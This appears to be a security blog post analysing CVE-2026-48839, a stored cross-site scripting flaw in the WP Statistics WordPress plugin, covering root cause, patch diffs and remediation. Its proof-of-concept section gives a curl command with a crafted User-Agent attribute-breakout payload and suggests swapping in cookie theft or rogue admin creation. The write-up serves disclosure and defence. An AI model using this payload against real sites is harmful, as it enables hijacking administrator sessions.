WP Statistics WordPress plugin banner

CVE-2026-48839: WP Statistics Unauthenticated Stored XSS (CVSS 7.2)

Updated 7 min read

CVE-2026-48839 is a CVSS 7.2 High Severity Unauthenticated Stored Cross-Site Scripting vulnerability in the WP Statistics WordPress plugin. Any visitor can plant a JavaScript payload into the admin panel by sending a single HTTP request with a crafted User-Agent header. The script executes when an administrator views the Devices statistics pages.

Vulnerability Summary

FieldValue
Plugin NameWP Statistics – Simple, privacy-friendly Google Analytics alternative
Plugin Slugwp-statistics
CVE IDCVE-2026-48839
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 14.16.6
Patched Version14.16.7
PublishedJune 1, 2026
Researcherdaroo
Wordfence AdvisoryLink

Description

The WP Statistics plugin records data about every site visitor: browser, operating system, device type, and device model. It extracts these values from the HTTP User-Agent header using the DeviceDetector library. In versions up to 14.16.6, two problems existed together.

First, some of DeviceDetector’s generic regex patterns capture user-controlled substrings directly as the browser or app name. For example, the “AFNetworking generic” pattern in mobile_apps.yml uses a broad capture group ([^/;]*) and maps it directly to name: '$1'. This means the library can return raw attacker-supplied content as the browser name.

Second, the admin templates for the Devices statistics pages output browser, platform, and device category names using a plain echo with no HTML escaping function. The unknownToNotSet() helper returns the stored value as-is, and its output is never wrapped in esc_html() or esc_attr().

Because of this, an attacker can inject an HTML attribute breakout payload into a User-Agent header, have it stored in the database, and have it render as executable JavaScript when an administrator views the statistics.

Technical Analysis

Root Cause 1 — Missing Sanitization at Storage Time

UserAgent::getHttpUserAgent() applies sanitize_text_field() to the raw User-Agent header before passing it to DeviceDetector. This function strips HTML tags but does NOT remove ", ', >, or event-handler attribute names. DeviceDetector then processes the sanitized string through its regex patterns.

The “AFNetworking generic” pattern in src/Dependencies/DeviceDetector/regexes/client/mobile_apps.yml uses a broad capture group:

# AFNetworking generic
- regex: '(?!AlohaBrowser)([^/;]*)/(\d+\.[\d.]+) \((?:iPhone|iPad); (?:iOS|iPadOS) [0-9.]+; Scale/[0-9.]+\)'
  name: '$1'

([^/;]*) captures everything before the first /, which can include " and event-handler attribute content injected by an attacker.

The UserAgentService methods then return this value without any further sanitization:

// src/Service/Analytics/DeviceDetection/UserAgentService.php (vulnerable version)
public function getBrowser()
{
    return $this->deviceDetector ? $this->deviceDetector->getClient('name') : null;
}

This raw value flows to Visitor::record() in includes/class-wp-statistics-visitor.php:

$visitor = [
    'agent'    => $userAgent->getBrowser(),   // line 133 — unsanitized
    'platform' => $userAgent->getPlatform(),  // line 134 — unsanitized
    'device'   => $userAgent->getDevice(),    // line 136 — unsanitized
    'model'    => $userAgent->getModel(),     // line 137 — unsanitized
];

$wpdb->insert() stores these values in the wp_statistics_visitor table.

Root Cause 2 — Missing Output Escaping in Admin Templates

When an admin views WP Statistics > Devices > Browsers, the plugin renders the stored browser name from the database. In includes/admin/templates/pages/devices/browsers.php, the output has no escaping:

// Vulnerable — no esc_attr() or esc_html()
<span title="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>"
      class="wps-browser-name">
    <img alt="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>"
         src="<?php echo esc_url(DeviceHelper::getBrowserLogo($item->agent)); ?>"
         class="log-tools wps-flag"/>
    <?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>
</span>

unknownToNotSet() returns the stored value with no escaping:

public static function unknownToNotSet($value)
{
    if (self::isUnknown($value)) {
        return __('(not set)', 'wp-statistics');
    }
    return $value; // returned as-is, no escaping applied
}

The same pattern appears in platforms.php ($item->platform) and categories.php ($item->device).

Execution Path

HTTP request with malicious User-Agent
  → UserAgent::getHttpUserAgent()           — sanitize_text_field() (strips tags, not quotes/event attrs)
  → UserAgentService::getBrowser()          — DeviceDetector regex returns user-controlled $1
  → Visitor::record() / Visitor::save_visitor()  — stored in wp_statistics_visitor.agent
  → Admin loads WP Statistics > Devices > Browsers
  → browsers.php echo unknownToNotSet($item->agent) — rendered without esc_attr()/esc_html()
  → Browser executes injected event handler

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes only. Test only against systems you own or have explicit written permission to test.

Prerequisites

  • Target site has WP Statistics <= 14.16.6 installed and activated
  • Default server-side tracking is enabled (the default configuration)
  • An administrator will later visit WP Statistics > Devices > Browsers

Step 1 — Inject the Payload

Send a single HTTP request to any page on the target site. The User-Agent header uses the iOS app format to trigger the AFNetworking generic pattern in DeviceDetector. The " after the app name breaks out of the HTML attribute context and injects an onmouseover event handler.

curl -s "https://target-site.com/" \
  -H 'User-Agent: XSSBrowser" onmouseover="alert(document.domain)/1.0 (iPhone; iOS 17.0; Scale/3.00)'

WP Statistics records the visitor. The DeviceDetector AFNetworking generic regex captures XSSBrowser" onmouseover="alert(document.domain) as the browser name ($1). This value is stored in the wp_statistics_visitor table.

Step 2 — Trigger the Stored XSS

Log in as an administrator. Navigate to WP Statistics > Devices > Browsers. The admin page renders the stored value without escaping, producing this HTML:

<span title="XSSBrowser" onmouseover="alert(document.domain)" class="wps-browser-name">
    <img alt="XSSBrowser" onmouseover="alert(document.domain)"
         src="/wp-content/plugins/wp-statistics/assets/images/browser/unknown.png"
         class="log-tools wps-flag"/>
    XSSBrowser" onmouseover="alert(document.domain)
</span>

Hover over the browser name row. The onmouseover handler fires and alert(document.domain) executes.

Step 3 — Verify

The browser alert dialog displays the admin’s current domain, confirming JavaScript execution in the admin context. A real attacker would replace alert(document.domain) with a cookie-stealing payload or an admin action (e.g., creating a rogue admin account).

Patch Analysis

Version 14.16.7 addresses the vulnerability in two places.

Fix 1 — Input Sanitization in UserAgentService

A new sanitizeDetectorValue() static method was added to src/Service/Analytics/DeviceDetection/UserAgentService.php. All four public methods that return DeviceDetector values now pass their output through this function before returning it:

  public function getBrowser()
  {
-     return $this->deviceDetector ? $this->deviceDetector->getClient('name') : null;
+     return $this->deviceDetector ? self::sanitizeDetectorValue($this->deviceDetector->getClient('name')) : null;
  }

The sanitizer strips all HTML tags, then applies a Unicode-aware allowlist that permits only letters, digits, spaces, and common punctuation found in legitimate browser/OS names:

public static function sanitizeDetectorValue($value)
{
    if ($value === null || $value === '') {
        return $value;
    }

    $value = wp_strip_all_tags((string) $value);
    $value = preg_replace('/[^\p{L}\p{N}\s._\-\/+()&\']/u', '', $value);
    $value = trim(preg_replace('/\s+/', ' ', (string) $value));

    return $value;
}

The character " is not in the allowlist, so attribute breakout payloads are stripped before storage.

Fix 2 — Output Escaping in Admin Templates

The three admin templates that displayed device data without escaping were updated to use esc_html() and esc_attr():

-  <span title="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>">
-      <img alt="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>" .../>
-      <?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>
+  <span title="<?php echo esc_attr(\WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent)); ?>">
+      <img alt="<?php echo esc_attr(\WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent)); ?>" .../>
+      <?php echo esc_html(\WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent)); ?>

The same output-escaping fix was applied to platforms.php, categories.php, and views/components/session-details.php.

Together, the two fixes form a defense-in-depth strategy: Fix 1 prevents malicious data from entering the database; Fix 2 prevents any malicious data that does reach the template from being interpreted as HTML.

Timeline

DateEvent
2026-06-01Vulnerability published by Wordfence
2026-06-01WP Statistics 14.16.7 released with the fix
2026-06-07This blog post published

Remediation

Update WP Statistics to version 14.16.7 or later.

From your WordPress dashboard: go to Plugins > Installed Plugins, find WP Statistics, and click Update Now. Alternatively, download the patched version directly from wordpress.org/plugins/wp-statistics/.

References

  1. Wordfence Advisory — CVE-2026-48839
  2. Patchstack Advisory
  3. Trac Changeset — 14.16.6 → 14.16.7
  4. CVE Record — CVE-2026-48839
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee